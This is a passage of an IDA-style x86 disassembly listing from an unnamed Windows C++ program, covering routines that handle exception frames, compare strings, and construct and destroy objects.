arg_60 = byte ptr 64h
push 0FFFFFFFFh
push offset SEH_413E60
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebp, ecx
sub esp, 18h
lea eax, [esp+3Ch+arg_30]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push eax
mov [esp+40h+var_4], 4
call sub_4014D3
mov ecx, ebp
call sub_401CE4
xor ebx, ebx
cmp eax, ebx
jnz loc_41404E
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push edx
call sub_4014D3
mov ecx, ebp
call sub_402130
mov edi, eax
cmp edi, ebx
jz loc_41404E
push edi
lea eax, [esp+28h+arg_18]
sub esp, 18h
mov ecx, esp
mov [esp+40h+var_14], esp
push eax
call sub_4014D3
mov ecx, ebp
call sub_4011DB
cmp al, bl
jz loc_41404E
push offset byte_448F30
lea ecx, [esp+28h+arg_48]
call sub_4012EE
test eax, eax
jz short loc_413F47
lea ecx, [edi+2Ah]
call sub_4017EE
lea ecx, [esp+24h+arg_48]
mov esi, eax
call sub_4017EE
loc_413F16: ; CODE XREF: sub_413E60+D4j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413F3A
cmp cl, bl
jz short loc_413F36
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413F3A
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413F16
loc_413F36: ; CODE XREF: sub_413E60+C0j
xor eax, eax
jmp short loc_413F3F
; ---------------------------------------------------------------------------
loc_413F3A: ; CODE XREF: sub_413E60+BCj
; sub_413E60+CAj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413F3F: ; CODE XREF: sub_413E60+D8j
cmp eax, ebx
jnz loc_41404E
loc_413F47: ; CODE XREF: sub_413E60+A1j
push offset byte_448F30
lea ecx, [esp+28h+arg_60]
call sub_4012EE
test eax, eax
jz short loc_413FA3
lea ecx, [edi+3Fh]
call sub_4017EE
lea ecx, [esp+24h+arg_60]
mov esi, eax
call sub_4017EE
loc_413F72: ; CODE XREF: sub_413E60+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_413F96
cmp cl, bl
jz short loc_413F92
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_413F96
add eax, 2
add esi, 2
cmp cl, bl
jnz short loc_413F72
loc_413F92: ; CODE XREF: sub_413E60+11Cj
xor eax, eax
jmp short loc_413F9B
; ---------------------------------------------------------------------------
loc_413F96: ; CODE XREF: sub_413E60+118j
; sub_413E60+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_413F9B: ; CODE XREF: sub_413E60+134j
cmp eax, ebx
jnz loc_41404E
loc_413FA3: ; CODE XREF: sub_413E60+FAj
push 58h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+24h+var_10], eax
cmp eax, ebx
mov byte ptr [esp+24h+var_4], 5
jz short loc_413FC3
mov ecx, eax
call sub_401D1B
jmp short loc_413FC5
; ---------------------------------------------------------------------------
loc_413FC3: ; CODE XREF: sub_413E60+158j
xor eax, eax
loc_413FC5: ; CODE XREF: sub_413E60+161j
mov [esp+24h+var_14], eax
mov [eax], edi
mov ecx, [esp+24h+var_14]
lea eax, [esp+24h+arg_0]
push eax
add ecx, 4
mov byte ptr [esp+28h+var_4], 4
call sub_40202C
mov eax, [esp+24h+var_14]
lea edx, [esp+24h+arg_30]
push edx
lea ecx, [eax+19h]
call sub_40202C
lea ecx, [esp+24h+var_14]
push ecx
lea ecx, [ebp+6Ch]
call sub_401410
; ---------------------------------------------------------------------------
lea ecx, [esp+28h]
mov byte ptr [esp+28h+var_8], 3
call sub_401226
lea ecx, [esp+28h+arg_14]
mov byte ptr [esp+28h+var_8], 2
call sub_401226
lea ecx, [esp+28h+arg_2C]
mov byte ptr [esp+28h+var_8], 1
call sub_401226
lea ecx, [esp+28h+arg_44]
mov byte ptr [esp+28h+var_8], bl
call sub_401226
lea ecx, [esp+28h+arg_5C]
mov [esp+28h+var_8], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_41409B
; ---------------------------------------------------------------------------
loc_41404E: ; CODE XREF: sub_413E60+44j
; sub_413E60+68j ...
lea ecx, [esp+24h+arg_0]
mov byte ptr [esp+24h+var_4], 3
call sub_401226
lea ecx, [esp+24h+arg_18]
mov byte ptr [esp+24h+var_4], 2
call sub_401226
lea ecx, [esp+24h+arg_30]
mov byte ptr [esp+24h+var_4], 1
call sub_401226
lea ecx, [esp+24h+arg_48]
mov byte ptr [esp+24h+var_4], bl
call sub_401226
lea ecx, [esp+24h+arg_60]
mov [esp+24h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_41409B: ; CODE XREF: sub_413E60+1ECj
mov ecx, [esp+24h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 14h
retn 78h
sub_413E60 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414150 proc near ; CODE XREF: sub_401D1Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414150
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+43h]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414150 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4141E0: ; CODE XREF: ___:00401DD9j
push 0FFFFFFFFh
push offset loc_43AF10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+24h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+3Ch]
sub esp, 18h
mov ecx, esp
mov [esp+58h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov eax, [esp+50h]
sub esp, 18h
mov ecx, esp
mov [esp+6Ch], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401870
mov edx, [esp+64h]
sub esp, 18h
mov ecx, esp
mov [esp+80h], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401870
mov eax, [esp+78h]
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
mov byte ptr [esp+8Ch], 3
call sub_401870
mov ecx, esi
mov dword ptr [esp+88h], 0FFFFFFFFh
call sub_4018AC
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 14h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4142D0 proc near ; CODE XREF: sub_401541j
add ecx, 6Ch
jmp sub_401C76
sub_4142D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4142F0 proc near ; CODE XREF: sub_40137Fj
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4142F0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push 60h
mov [esp+1Ch+var_4], 3
call sub_437AEA
sub_4142F0 endp
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+8], eax
test eax, eax
mov byte ptr [esp+14h], 4
jz short loc_414333
mov ecx, eax
call sub_401BF4
; ---------------------------------------------------------------------------
jmp short loc_414335
; ---------------------------------------------------------------------------
loc_414333: ; CODE XREF: ___:00414328j
xor eax, eax
loc_414335: ; CODE XREF: ___:00414331j
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 3
push ecx
mov ecx, eax
mov [esp+8], eax
call sub_40202C
mov eax, [esp+4]
lea edx, [esp+34h]
push edx
lea ecx, [eax+15h]
call sub_40202C
mov edx, [esp+4]
lea ecx, [esp+4Ch]
push ecx
lea ecx, [edx+2Ah]
call sub_40202C
mov ecx, [esp+4]
lea eax, [esp+64h]
push eax
add ecx, 3Fh
call sub_40202C
lea edx, [esp+4]
lea ecx, [esi+60h]
push edx
call sub_401F0F
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov byte ptr [esp+14h], 2
call sub_401226
lea ecx, [esp+34h]
mov byte ptr [esp+14h], 1
call sub_401226
lea ecx, [esp+4Ch]
mov byte ptr [esp+14h], 0
call sub_401226
lea ecx, [esp+64h]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+0Ch]
pop esi
mov large fs:0, ecx
add esp, 14h
retn 60h
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414420 proc near ; CODE XREF: sub_401BF4j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414420
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+18h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+18h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+18h+var_4], 2
call sub_40142E
lea eax, [esp+18h+var_11]
lea ecx, [esi+54h]
push eax
mov byte ptr [esp+1Ch+var_4], 3
call sub_40132A
sub_414420 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4144C0: ; CODE XREF: ___:004010FAj
push 0FFFFFFFFh
push offset loc_43AFD8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+20h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+38h]
sub esp, 18h
mov ecx, esp
mov [esp+54h], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov eax, [esp+4Ch]
sub esp, 18h
mov ecx, esp
mov [esp+68h], esp
push eax
mov byte ptr [esp+5Ch], 1
call sub_401870
mov edx, [esp+60h]
sub esp, 18h
mov ecx, esp
mov [esp+7Ch], esp
push edx
mov byte ptr [esp+74h], 2
call sub_401870
mov ecx, esi
mov dword ptr [esp+70h], 0FFFFFFFFh
call sub_40137F
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 10h
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414590 proc near ; CODE XREF: sub_401DC0j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_414590
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
lea ecx, [esp+18h+var_14]
mov [esp+18h+var_4], 0
mov [esp+18h+var_10], 0
call sub_401E38
mov eax, [esp+18h+arg_18]
lea ecx, [esp+18h+arg_18]
push ecx
lea esi, [eax+54h]
mov ecx, esi
call sub_4012E9
mov edx, [eax]
lea eax, [esp+18h+arg_18]
push eax
mov ecx, esi
mov [esp+1Ch+var_14], edx
call sub_401D9D
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D70
test al, al
jz short loc_414640
loc_4145F5: ; CODE XREF: sub_414590+AEj
lea ecx, [esp+18h+arg_0]
push ecx
lea ecx, [esp+1Ch+var_14]
call sub_401FC3
mov ecx, [eax]
call sub_401B86
test eax, eax
jnz short loc_41461D
lea ecx, [esp+18h+var_14]
call sub_401FC3
mov edx, [eax]
mov [esp+18h+var_10], edx
loc_41461D: ; CODE XREF: sub_414590+7Cj
lea ecx, [esp+18h+var_14]
call sub_4020C2
lea eax, [esp+18h+arg_18]
mov ecx, esi
push eax
call sub_401D9D
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401D70
test al, al
jnz short loc_4145F5
loc_414640: ; CODE XREF: sub_414590+63j
mov eax, [esp+18h+var_10]
test eax, eax
jz short loc_414688
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_401258
mov ecx, [esp+18h+var_10]
test ecx, ecx
jz short loc_414663
push 1
call sub_4019EC
loc_414663: ; CODE XREF: sub_414590+CAj
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 1Ch
; ---------------------------------------------------------------------------
loc_414688: ; CODE XREF: sub_414590+B6j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 14h
retn 1Ch
sub_414590 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414700 proc near ; CODE XREF: sub_4019ECj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402243
test [esp+4+arg_0], 1
jz short loc_414718
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414718: ; CODE XREF: sub_414700+Dj
mov eax, esi
pop esi
retn 4
sub_414700 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_414730 proc near ; CODE XREF: sub_402243j
jmp sub_401226
sub_414730 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414750: ; CODE XREF: ___:00401276j
push 0FFFFFFFFh
push offset loc_43B020
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
push edi
mov ebp, ecx
xor ebx, ebx
push offset asc_444C64 ; ":"
lea eax, [esp+1Ch]
push ebx
push eax
lea ecx, [esp+4Ch]
mov [esp+44h], ebx
mov byte ptr [esp+1Fh], 1
xor esi, esi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jz short loc_414819
loc_4147B3: ; CODE XREF: ___:00414817j
mov ecx, [esp+58h]
push ecx
lea ecx, [esp+44h]
sub esp, 18h
mov edx, esp
mov [esp+30h], esp
push offset asc_444C64 ; ":"
push esi
push edx
call sub_4016B8
mov ecx, ebp
call sub_401DC0
cmp al, bl
jnz short loc_4147E0
mov [esp+13h], bl
loc_4147E0: ; CODE XREF: ___:004147DAj
inc esi
push offset asc_444C64 ; ":"
lea eax, [esp+1Ch]
push esi
push eax
lea ecx, [esp+4Ch]
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+3Ch], 1
call sub_4012EE
lea ecx, [esp+18h]
mov edi, eax
mov [esp+38h], bl
call sub_401226
cmp edi, ebx
jnz short loc_4147B3
loc_414819: ; CODE XREF: ___:004147B1j
lea ecx, [esp+40h]
mov dword ptr [esp+38h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+30h]
mov al, [esp+13h]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 2Ch
retn 1Ch
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414890 proc near ; CODE XREF: sub_40212Bj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_414890
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+1Ch+arg_0]
mov [esp+1Ch+var_4], 1
call sub_4017EE
test eax, eax
jz loc_4149C4
lea ecx, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], 0
call sub_402275
add esi, 6Ch
lea eax, [esp+1Ch+var_10]
push eax
mov ecx, esi
call sub_401901
mov ecx, [eax]
lea edx, [esp+1Ch+var_10]
mov [esp+1Ch+var_18], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jz short loc_41496E
loc_414904: ; CODE XREF: sub_414890+DCj
lea eax, [esp+1Ch+arg_0]
lea ecx, [esp+1Ch+var_18]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 4
call sub_401B86
test eax, eax
jz short loc_41493C
lea ecx, [esp+1Ch+arg_18]
push ecx
lea ecx, [esp+20h+var_18]
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B86
test eax, eax
jnz short loc_41494B
loc_41493C: ; CODE XREF: sub_414890+8Ej
lea ecx, [esp+1Ch+var_18]
call sub_40135C
mov edx, [eax]
mov [esp+1Ch+var_14], edx
loc_41494B: ; CODE XREF: sub_414890+AAj
lea ecx, [esp+1Ch+var_18]
call sub_40118B
lea eax, [esp+1Ch+var_10]
mov ecx, esi
push eax
call sub_40114A
push eax
lea ecx, [esp+20h+var_18]
call sub_401339
test al, al
jnz short loc_414904
loc_41496E: ; CODE XREF: sub_414890+72j
mov eax, [esp+1Ch+var_14]
test eax, eax
jz short loc_4149C4
lea ecx, [esp+1Ch+var_14]
push ecx
mov ecx, esi
call sub_40214E
mov ecx, [esp+1Ch+var_14]
test ecx, ecx
jz short loc_414991
push 1
call sub_401708
loc_414991: ; CODE XREF: sub_414890+F8j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+18h+var_C]
mov large fs:0, ecx
add esp, 18h
retn 30h
; ---------------------------------------------------------------------------
loc_4149C4: ; CODE XREF: sub_414890+2Ej
; sub_414890+E4j
lea ecx, [esp+1Ch+arg_0]
mov byte ptr [esp+1Ch+var_4], 0
call sub_401226
lea ecx, [esp+1Ch+arg_18]
mov [esp+1Ch+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch+var_C]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 30h
sub_414890 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414A60 proc near ; CODE XREF: sub_401708j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A6E
test [esp+4+arg_0], 1
jz short loc_414A78
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414A78: ; CODE XREF: sub_414A60+Dj
mov eax, esi
pop esi
retn 4
sub_414A60 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414A90 proc near ; CODE XREF: sub_401A6Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414A90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+43h]
mov [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_414A90 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414B20: ; CODE XREF: ___:004013B1j
push 0FFFFFFFFh
push offset loc_43B098
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401870
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401870
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40212B
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_414BB0: ; CODE XREF: ___:00401B45j
push 0FFFFFFFFh
push offset loc_43B0B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push esi
mov esi, ecx
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0
call sub_4017EE
test eax, eax
jz loc_414CB7
lea ecx, [esp+4]
mov dword ptr [esp+8], 0
call sub_401037
add esi, 60h
lea eax, [esp+0Ch]
push eax
mov ecx, esi
call sub_401992
mov ecx, [eax]
lea edx, [esp+0Ch]
mov [esp+4], ecx
push edx
mov ecx, esi
call sub_402257
push eax
lea ecx, [esp+8]
call sub_401AEB
test al, al
jz short loc_414C6F
loc_414C24: ; CODE XREF: ___:00414C6Dj
lea eax, [esp+20h]
lea ecx, [esp+4]
push eax
call sub_4011D1
mov ecx, [eax]
call sub_401B86
test eax, eax
jnz short loc_414C4C
lea ecx, [esp+4]
call sub_4011D1
mov ecx, [eax]
mov [esp+8], ecx
loc_414C4C: ; CODE XREF: ___:00414C3Bj
lea ecx, [esp+4]
call sub_4018C5
lea edx, [esp+0Ch]
mov ecx, esi
push edx
call sub_402257
push eax
lea ecx, [esp+8]
call sub_401AEB
test al, al
jnz short loc_414C24
loc_414C6F: ; CODE XREF: ___:00414C22j
mov eax, [esp+8]
test eax, eax
jz short loc_414CB7
lea eax, [esp+8]
mov ecx, esi
push eax
call sub_401154
mov ecx, [esp+8]
test ecx, ecx
jz short loc_414C92
push 1
call sub_4011C7
; ---------------------------------------------------------------------------
loc_414C92: ; CODE XREF: ___:00414C89j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov al, 1
pop esi
mov ecx, [esp+0Ch]
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_414CB7: ; CODE XREF: ___:00414BDEj
; ___:00414C75j
lea ecx, [esp+20h]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+10h]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414D30 proc near ; CODE XREF: sub_4011C7j
push esi
mov esi, ecx
call sub_401B59
sub_414D30 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_414D48
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_414D48: ; CODE XREF: ___:00414D3Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_414D60 proc near ; CODE XREF: sub_401B59j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_414D60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+54h]
mov [esp+14h+var_4], 3
call sub_401582
sub_414D60 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+3Fh]
mov byte ptr [esp+10h], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_414E00 proc near ; CODE XREF: sub_4014C9j
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_414E00
push eax
mov large fs:0, esp
sub esp, 40h
push ebx
push esi
mov esi, [esp+54h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+32h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_414EFB
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push eax
call sub_4014D3
sub esp, 18h
mov [esp+88h+var_4], 0
mov ecx, esp
mov [esp+88h+var_4C], esp
push offset byte_448F30
call sub_401870
or ebx, 0FFFFFFFFh
mov ecx, offset word_44AC5E
mov [esp+88h+var_4], ebx
call sub_40212B
test al, al
jz loc_415030
push 0
push 5
push 19h
push 2
push 4
push 0Fh
push 0Fh
lea ecx, [esp+74h+var_3C]
push 21h
push ecx
call sub_4019C4
add esp, 24h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 1
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+58h+var_3C]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_414EFB: ; CODE XREF: sub_414E00+36j
lea ecx, [edi+4]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_415030
sub esp, 18h
lea edx, [esi+54h]
mov ecx, esp
mov [esp+70h+arg_0], esp
push edx
call sub_4014D3
sub esp, 18h
lea eax, [esi+3Fh]
mov ecx, esp
mov [esp+88h+var_4C], esp
push eax
mov [esp+8Ch+var_4], 2
call sub_4014D3
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0A0h+var_48], esp
push edx
mov byte ptr [esp+0A4h+var_4], 3
call sub_4014D3
sub esp, 18h
mov ecx, esi
mov eax, esp
mov [esp+0B8h+var_44], esp
push 1
push offset asc_444600 ; " "
push 2
push eax
mov byte ptr [esp+0C8h+var_4], 4
call sub_4011EA
sub esp, 18h
mov byte ptr [esp+0D0h+var_4], 5
mov ecx, esp
mov [esp+0D0h+var_40], esp
push 1
push offset asc_444600 ; " "
push 1
push ecx
mov ecx, esi
call sub_4011EA
or ebx, 0FFFFFFFFh
mov ecx, offset word_44AC5E
mov [esp+0D0h+var_4], ebx
call sub_4018AC
test al, al
jz short loc_415030
push 0
push 4
push 5
push 14h
push 10h
push 5
push 3
push 3
lea edx, [esp+78h+var_24]
push 1Bh
push edx
call sub_4019C4
add esp, 28h
mov edi, eax
lea ecx, [esi+69h]
mov [esp+58h+var_4], 6
call sub_4014DD
push eax
mov ecx, edi
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8075
call sub_401118
lea ecx, [esp+58h+var_24]
mov [esp+58h+var_4], ebx
call sub_401226
mov al, 1
mov ecx, [esp+58h+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
add esp, 4Ch
retn 4
; ---------------------------------------------------------------------------
loc_415030: ; CODE XREF: sub_414E00+82j
; sub_414E00+10Dj ...
mov ecx, [esp+58h+var_C]
pop edi
pop esi
xor al, al
mov large fs:0, ecx
pop ebx
add esp, 4Ch
retn 4
sub_414E00 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4150F0 proc near ; CODE XREF: sub_40132Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401ED8
sub_4150F0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415130 proc near ; CODE XREF: sub_401726j
arg_0 = dword ptr 4
sub esp, 8
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
push 0
push 0
mov al, [edi]
mov [esi], al
call sub_401ED8
sub_415130 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esi+4], eax
push ecx
mov ecx, edi
mov dword ptr [esi+8], 0
call sub_4016D6
